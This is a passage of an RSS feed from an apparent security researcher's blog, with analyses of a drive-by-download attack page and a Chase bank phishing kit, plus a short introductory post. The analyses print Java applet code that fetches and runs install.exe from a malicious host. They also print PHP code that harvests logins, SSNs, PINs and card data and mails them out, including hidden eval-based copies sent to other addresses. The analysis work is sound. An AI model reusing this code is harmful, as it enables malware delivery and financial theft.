other programs. As we will see, our case study is not an exception.&lt;/p&gt;

&lt;p&gt;It turns out that the first iframe points at an empty page: it must have
already been taken down.&lt;/p&gt;

&lt;p&gt;The second iframe is more interesting: it spits out a &lt;code&gt;302&lt;/code&gt; response to
redirect to &lt;code&gt;http://vipasotka.com/in.php&lt;/code&gt; (119.42.149.22), which, in
turn, redirects to &lt;code&gt;http://golnanosat.com/in.php&lt;/code&gt; (same IP address). &lt;/p&gt;

&lt;p&gt;&lt;code&gt;in.php&lt;/code&gt; is also variously scrambled, but the (now) usual deobfuscation
step in rhino allows us to quickly make sense of it. This file generates
another somewhat obfuscated JavaScript snippet.  After some inspection
and some googling, the script appears to be divided in two parts. The
first part is essentially a JavaScript rewrite of metasploit's
&lt;a href="http://www.milw0rm.com/exploits/2164"&gt;exploit&lt;/a&gt; for MS06-014: the code
tries very hard to download (via XMLHttpRequest) the executable
&lt;code&gt;install.exe&lt;/code&gt; from &lt;code&gt;http://golnanosat.com/adw_files/5010/8275793f/&lt;/code&gt;, to
add it to the startup programs, and to run it. The exploit code is
IE-specific and goes to great lengths to "support" a number of different
Windows versions.&lt;/p&gt;

&lt;p&gt;The second part brings a bag of Java tricks into the picture.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;
    &amp;lt;applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT&gt;&amp;lt;/applet&gt;
    try {
        var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
        var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
        var unsafe=unsafemeth.invoke(unsafemeth,null);
        document.maniman.foobar(unsafe);
        var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
        var chen=unsafe.allocateInstance(chenref);
        chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
        chen.setUname("5010");
        chen.setCID("other");
    }catch(d){}

    &amp;lt;applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT&gt;
        &amp;lt;param name=usid value=us0105&gt;
        &amp;lt;param name=linkurl
        value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3"&gt;
    &amp;lt;/applet&gt;

    &amp;lt;applet archive="ms03011.jar" code="MagicApplet.class" width=1  height=1&gt;
        &amp;lt;param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4"&gt;
    &amp;lt;/applet&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The first trick uses reflection and the internal &lt;code&gt;sun.misc.unsafe&lt;/code&gt; class
to dynamically create a class instance that bypasses the security
restrictions of the Java VM: this seems an &lt;a href="http://jouko.iki.fi/adv/javaplugin.html" title="Sun Java Plugin arbitrary
package access vulnerability"&gt;old
bug&lt;/a&gt; that dates back to 2004. The second one
is recognized by some anti-virus as Java/TrojanDownloader.OpenStream.
The last trick looks like an exploit for another old bug
(&lt;a href="http://www.microsoft.com/technet/security/bulletin/ms03-011.mspx
" title="Microsoft Security Bulletin MS03-011"&gt;MS03-011&lt;/a&gt;) that affected the ByteCode
Verifier of the Microsoft VM. In all cases, the goal is to download
and execute the usual &lt;code&gt;install.exe&lt;/code&gt; file.&lt;/p&gt;

&lt;h4&gt;Malware&lt;/h4&gt;

&lt;p&gt;The attack pages serve two binaries. VirusTotal reports mixed detection
results: &lt;a href="http://www.virustotal.com/analisis/4d8b924c538fc9519eabdaa7c9e8e4b3"&gt;13/32&lt;/a&gt; and &lt;a href="http://www.virustotal.com/analisis/f46f50b61b48e31f3ecef4ac80c9e892"&gt;8/32&lt;/a&gt;.&lt;/p&gt;

&lt;h4&gt;Discussions&lt;/h4&gt;

&lt;p&gt;I'll conclude the analysis with some quick considerations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;During all steps of the attack, malware authors use a number of
obfuscation and camouflaging techniques to avoid being detected. &lt;/li&gt;
&lt;li&gt;Even though the attack page was used in the recent wave of &lt;a href="http://ddanchev.blogspot.com/2008/03/massive-iframe-seo-poisoning-attack.html" title="Massive IFRAME SEO Poisoning Attack Continuing"&gt;iframe
injections&lt;/a&gt;, 
the attacks employed were surprisingly old. I guess it means that
enough people &lt;a href="http://www.rtfm.com/upgrade.pdf
" title="Security holes... Who cares?"&gt;don't apply patches&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;How successful is the attack? One measure (an upper bound, actually) 
is the number of people that visit the attack page:
&lt;a href="http://www.quantcast.com/golnanosat.com/traffic"&gt;Alexa&lt;/a&gt; has some
interesting graphs...  &lt;/li&gt;
&lt;/ul&gt;
</description><category>malware</category><category>javascript</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/04/anatomy-of-a-drive-by-download.html</guid><pubDate>Mon, 14 Apr 2008 03:07:00 GMT</pubDate></item><item><title>A tale of scam kits</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/04/a-tale-of-scam-kits.html</link><description>&lt;p&gt;A few days ago, the news &lt;a href="http://ddanchev.blogspot.com/2008/03/phishing-pages-for-every-bank-are.html" title="Phishing Pages for Every Bank are a Commodity"&gt;spread&lt;/a&gt;
that ready-to-go scam kits targeting banks and other sensitive web sites
were available for download. Nothing new here except for the fact that
the kits were given away for free. &lt;/p&gt;

&lt;p&gt;The reason for such generosity? Will see in a moment.&lt;/p&gt;

&lt;p&gt;I've got my hands on some of the kits and I've analyzed one of them.
This analysis is relative to the Chase scam kit (others seem similar at
first sight) retrieved on 31/3/2008.&lt;/p&gt;

&lt;p&gt;The scam kit is a collection of php, html, css, and image files that
provide a phishing web site for JP Morgan Chase online banking. The kit
collects username, password and personal information, such as credit
card numbers and social security numbers. The collected information is
sent back to the scammer via e-mail. At first sight, all a scammer has
to do is modify one file in the kit to set the appropriate e-mail
address and attract traffic to the phishing page.&lt;/p&gt;

&lt;p&gt;The reality is bit different: a larger pool of people seem to benefit
from the scammer's efforts. In other words, scammers are
getting scammed by more clever scammers.&lt;/p&gt;

&lt;p&gt;Let's see how this happens.&lt;/p&gt;

&lt;h4&gt;Transmission code&lt;/h4&gt;

&lt;p&gt;The file &lt;code&gt;Mr-Brain.php&lt;/code&gt; contains the code to ship to information back to
the scammer. The code is:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt; 3: $message = ... // phished information&lt;/span&gt;
&lt;span class="x"&gt;    ...&lt;/span&gt;
&lt;span class="x"&gt;39:&lt;/span&gt;
&lt;span class="x"&gt;38: $send=&amp;quot;scammer_forlife@yahoo.com&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;39:&lt;/span&gt;
&lt;span class="x"&gt;40: $subject = &amp;quot;Chase Bank ReZulT | $user | $ip&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;41: $headers = &amp;quot;From: Mr-Brain&amp;lt;new@chase.com&amp;gt;&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;42: $str=array($send, $IP); foreach ($str as $send) {&lt;/span&gt;
&lt;span class="x"&gt;43: if(mail($send,$subject,$message,$headers) != false){&lt;/span&gt;
&lt;span class="x"&gt;44: mail($Send,$subject,$message,$headers);&lt;/span&gt;
&lt;span class="x"&gt;45: mail($messege,$subject,$message,$headers);&lt;/span&gt;
&lt;span class="x"&gt;46: }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;mail()&lt;/code&gt; is a standard PHP function that send an e-mail message to the
address specified in its first argument. Let's see how the kit uses this
code to distribute information to a number of addresses other than
&lt;code&gt;scammer_forlife@yahoo.com&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;Trick 1: mistyped variables&lt;/h4&gt;

&lt;p&gt;In &lt;code&gt;Mr-Brain.php&lt;/code&gt;, the email message is composed as follows:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;$hostname = gethostbyaddr($ip);&lt;/span&gt;
&lt;span class="x"&gt;$message  = &amp;quot;---------------+ Chase Bank Spam ReZulT +-----------------\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;User ID : $user\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;hostip&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;Full Name : $fullname\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;City : $city\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;port&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;State : $state\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;Mother Maiden Name : $mmn\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;@&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;Date of Birth : $bmonth/$bday/$byear\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;ATM PIN Code      : $pin\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;g&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;Credit Card Number: $cardnumber\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;CVV Number       : $cvv\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;mail&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;---------------------------------------------------\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;.&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;Credit Card Number: $cardnumber\\n&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$messege .= &amp;quot;com&amp;quot;;&lt;/span&gt;
&lt;span class="x"&gt;...&lt;/span&gt;
&lt;span class="x"&gt;$message .= &amp;quot;----------------+ Created in 2008 By Mr-Brain +----------------\\n&amp;quot;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice the mistyped &lt;code&gt;$messege&lt;/code&gt; variable (instead of &lt;code&gt;$message&lt;/code&gt;). Once
reconstructed the variable forms the e-mail address
&lt;code&gt;hostipport@gmail.com&lt;/code&gt;. At line 45 it is used as the recipient of the
mail function.  The trick uses the fact that PHP automatically
initializes undefined string variables (as &lt;code&gt;$messege&lt;/code&gt; here) to the empty
string.&lt;/p&gt;

&lt;h4&gt;Trick #2: case-sensitive PHP and code injection&lt;/h4&gt;

&lt;p&gt;Inside the &lt;code&gt;foreach&lt;/code&gt; loop of line 42, the variable &lt;code&gt;$Send&lt;/code&gt; (notice the
capital letter) is different from the variable &lt;code&gt;$send&lt;/code&gt; (all lowercase).
How is &lt;code&gt;$Send&lt;/code&gt; initialized? In &lt;code&gt;details.php&lt;/code&gt;, a form contains the hidden
parameter &lt;code&gt;Send&lt;/code&gt;, whose value is set to:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;which, once interpreted, gives the e-mail address &lt;code&gt;Mr-Brain@Evil-Brain.Net&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;Trick #3: obfuscation via pack()&lt;/h4&gt;

&lt;p&gt;The sending code loops over the contents of an array initialized with
the variables &lt;code&gt;$send&lt;/code&gt; and &lt;code&gt;$IP&lt;/code&gt;. What is &lt;code&gt;$IP&lt;/code&gt;? In &lt;code&gt;prospect.php&lt;/code&gt;, 
the variable &lt;code&gt;$IP&lt;/code&gt; is initialized to &lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;pack(&amp;quot;H*&amp;quot;, substr($VARS=$erorr,strpos($VARS, &amp;quot;329&amp;quot;)+3,46));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;$erorr&lt;/code&gt; (again, misspelled to disguise it for the variable &lt;code&gt;$error&lt;/code&gt;)
contains the contents of the file &lt;code&gt;login.php&lt;/code&gt;. The &lt;code&gt;substr()&lt;/code&gt; function
searches for &lt;code&gt;329&lt;/code&gt; in &lt;code&gt;login.php&lt;/code&gt;, finds it in the value argument of a
hidden parameter, and extracts the following 46 characters:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;70696f6e6565722e627261696e40676d61696c2e636f6d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;These are then massaged through the function &lt;code&gt;pack()&lt;/code&gt; to give yet another
e-mail address: &lt;code&gt;pioneer.brain@gmail.com&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;Trick #4: obfuscation via code in data and eval()&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;prospect.php&lt;/code&gt; contains the following interesting functions:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;39: function clean($str){&lt;/span&gt;
&lt;span class="x"&gt;40: $clean=create_function(&amp;#39;$str&amp;#39;,&amp;#39;return &amp;#39;.gets(&amp;quot;(1,&amp;quot;,3,4).&amp;#39;($str);&amp;#39;);&lt;/span&gt;
&lt;span class="x"&gt;41: return $clean($str);&lt;/span&gt;
&lt;span class="x"&gt;42: }&lt;/span&gt;
&lt;span class="x"&gt;43: function getc($string){&lt;/span&gt;
&lt;span class="x"&gt;44: return implode(&amp;#39;&amp;#39;, file($string));&lt;/span&gt;
&lt;span class="x"&gt;45: }&lt;/span&gt;
&lt;span class="x"&gt;46: function gets($a, $b, $c){&lt;/span&gt;
&lt;span class="x"&gt;47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);&lt;/span&gt;
&lt;span class="x"&gt;48: }&lt;/span&gt;
&lt;span class="x"&gt;49: function end_of_line(){&lt;/span&gt;
&lt;span class="x"&gt;50: $end=gets(&amp;quot;(2,&amp;quot;,3,4); endline=$end(gets(&amp;quot;(3,&amp;quot;,3,2),getc(gets(&amp;quot;(((&amp;quot;,3,20)));&lt;/span&gt;
&lt;span class="x"&gt;51: return $endline;&lt;/span&gt;
&lt;span class="x"&gt;52: }&lt;/span&gt;
&lt;span class="x"&gt;53: function geterrors(){&lt;/span&gt;
&lt;span class="x"&gt;54: return clean(end_of_line());&lt;/span&gt;
&lt;span class="x"&gt;55: }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function &lt;code&gt;geterrors()&lt;/code&gt; is called at the end of the file, right before
error checking is performed. Let's see what these functions are doing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;end_of_line&lt;/code&gt;: by matching for the pattern &lt;code&gt;(2,&lt;/code&gt; on the &lt;code&gt;details.php&lt;/code&gt;
file, it extracts the string &lt;code&gt;pack&lt;/code&gt;. By pattern matching for &lt;code&gt;(3,&lt;/code&gt; and
&lt;code&gt;(((&lt;/code&gt;, it extracts the strings &lt;code&gt;h*&lt;/code&gt; and &lt;code&gt;images/style_002.css&lt;/code&gt;. These
pieces are composed to execute:&lt;/p&gt;

&lt;p&gt;:::php
pack('h*', file_get_contents('images/style_002.css'));&lt;/p&gt;

&lt;p&gt;The file &lt;code&gt;images/style_002.css&lt;/code&gt; apparently contains CSS data, except
for a section at the middle of the file that resembles a long
alphanumeric string. After applying &lt;code&gt;pack()&lt;/code&gt; to it, it returns a long
string containing unprintable characters at the beginning and at the
end. The central section of &lt;code&gt;images/style_002.css&lt;/code&gt; is instead
transformed into:&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre&gt;&lt;code&gt;
    global $error;
    if("$error" != "1"){
        global $user;
        global $pass;
        global $fullname;
        global $address;
        global $city;
        global $state;
        global $zip;
        global $email;
        global $mmn;
        global $bmonth;
        global $bday;
        global $byear;
        global $ssn1;
        global $ssn2;
        global $ssn3;
        global $pin;
        global $cardnumber;
        global $expmonth;
        global $expyear;
        global $cvv;
    if (getenv(HTTP_CLIENT_IP)){
        $iP=getenv(HTTP_CLIENT_IP);
    } else {
        $iP=getenv(REMOTE_ADDR);
    }
    $hostname = gethostbyaddr($iP);
    $message  = "---------------  Chase Bank Spam ReZulT  -----------------\\n";
    $message .= "User ID : $user\\n";
    $message .= "Password : $pass\\n\\n";
    $message .= "Full Name : $fullname\\n";
    $message .= "Address : $address\\n";
    $message .= "City : $city\\n";
    $message .= "State : $state\\n";
    $message .= "Zip Code : $zip\\n";
    $message .= "E-mail Address : $email\\n\\n";
    $message .= "Mother Maiden Name : $mmn\\n";
    $message .= "Date of Birth : $bmonth/$bday/$byear\\n";
    $message .= "Social Security No : $ssn1-$ssn2-$ssn3\\n";
    $message .= "ATM PIN Code      : $pin\\n";
    $message .= "Credit Card Number: $cardnumber\\n";
    $message .= "Expiration Date   : $expmonth/$expyear [mm/yy]\\n";
    $message .= "CVV Number       : $cvv\\n";
    $message .= "---------------------------------------------------\\n";
    $message .= "IP Address   : $iP\\n";
    $message .= "HostName   : $hostname\\n";
    $message .= "----------------  Created in 2008 By Mr-Brain  ----------------\\n";
    $Brain="pamer@inbox.com,usa813@gmail.com";
    $subject = "Chase Bank ReZulT";
    $headers = "From: Mr-Brain&amp;lt;new@chase.com&amp;gt;";
    mail($Brain,$subject,$message,$headers);
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;clean&lt;/code&gt;: by matching for the pattern &lt;code&gt;(1,&lt;/code&gt; on the &lt;code&gt;details.php&lt;/code&gt; file, it
extracts the string &lt;code&gt;eval&lt;/code&gt;. It then creates and returns an anonymous
function that accepts a single parameter and applies &lt;code&gt;eval()&lt;/code&gt; to
it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;geterrors&lt;/code&gt;: evaluates through eval the string returned by &lt;code&gt;end_of_line()&lt;/code&gt;.
Notice that &lt;code&gt;eval&lt;/code&gt; ignores the extra junk at the beginning and end of
the string and happily executes the relevant content, thus sending the
phished information also to &lt;code&gt;pamer@inbox.com&lt;/code&gt; and &lt;code&gt;usa813@gmail.com&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/04/a-tale-of-scam-kits.html</guid><pubDate>Wed, 02 Apr 2008 14:39:00 GMT</pubDate></item><item><title>Hello, world!</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/04/hello-world.html</link><description>&lt;p&gt;Roughly a decade later than the rest of the world (ok, half a
decade), I've decided it was about time to join this web 2.0 frenzy and
add a blog to the website. Here, I'll try to post my
non-academic-paper-style writings about various security topics.&lt;/p&gt;

&lt;p&gt;To try to convince me that it is a serious thing and, web 2.0 aside,
these are still the days when &amp;#8220;men were men and wrote their own
device drivers&amp;#8221;, I've settled on &lt;a
href="http://www.blosxom.com/"&gt;blosxom&lt;/a&gt; as my blogging engine, which
gives me a nice, command-line interface to publishing and lets me use a
normal text editor to compose posts. To keep things simple, I have
decided against having an add-a-comment feature. So, if you wish to
comment or respond to something, send me an e-mail and I'll update the
post with it.&lt;/p&gt;

&lt;p&gt;Unless otherwise noted, material appearing on the blog is licensed
under a &lt;a rel="license"
href="http://creativecommons.org/licenses/by-nc/3.0/us/"&gt;Creative
Commons Attribution-Noncommercial 3.0 United States License&lt;/a&gt;.&lt;br/&gt;
&lt;a rel="license"
href="http://creativecommons.org/licenses/by-nc/3.0/us/"&gt;&lt;img
alt="Creative Commons License" style="border-width:0"
src="http://i.creativecommons.org/l/by-nc/3.0/us/88x31.png"/&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As everything, this is work in progress. Yes that (also) means that tags
don't work, yet...&lt;/p&gt;
</description><category>meta</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/04/hello-world.html</guid><pubDate>Wed, 02 Apr 2008 09:34:00 GMT</pubDate></item></channel></rss>
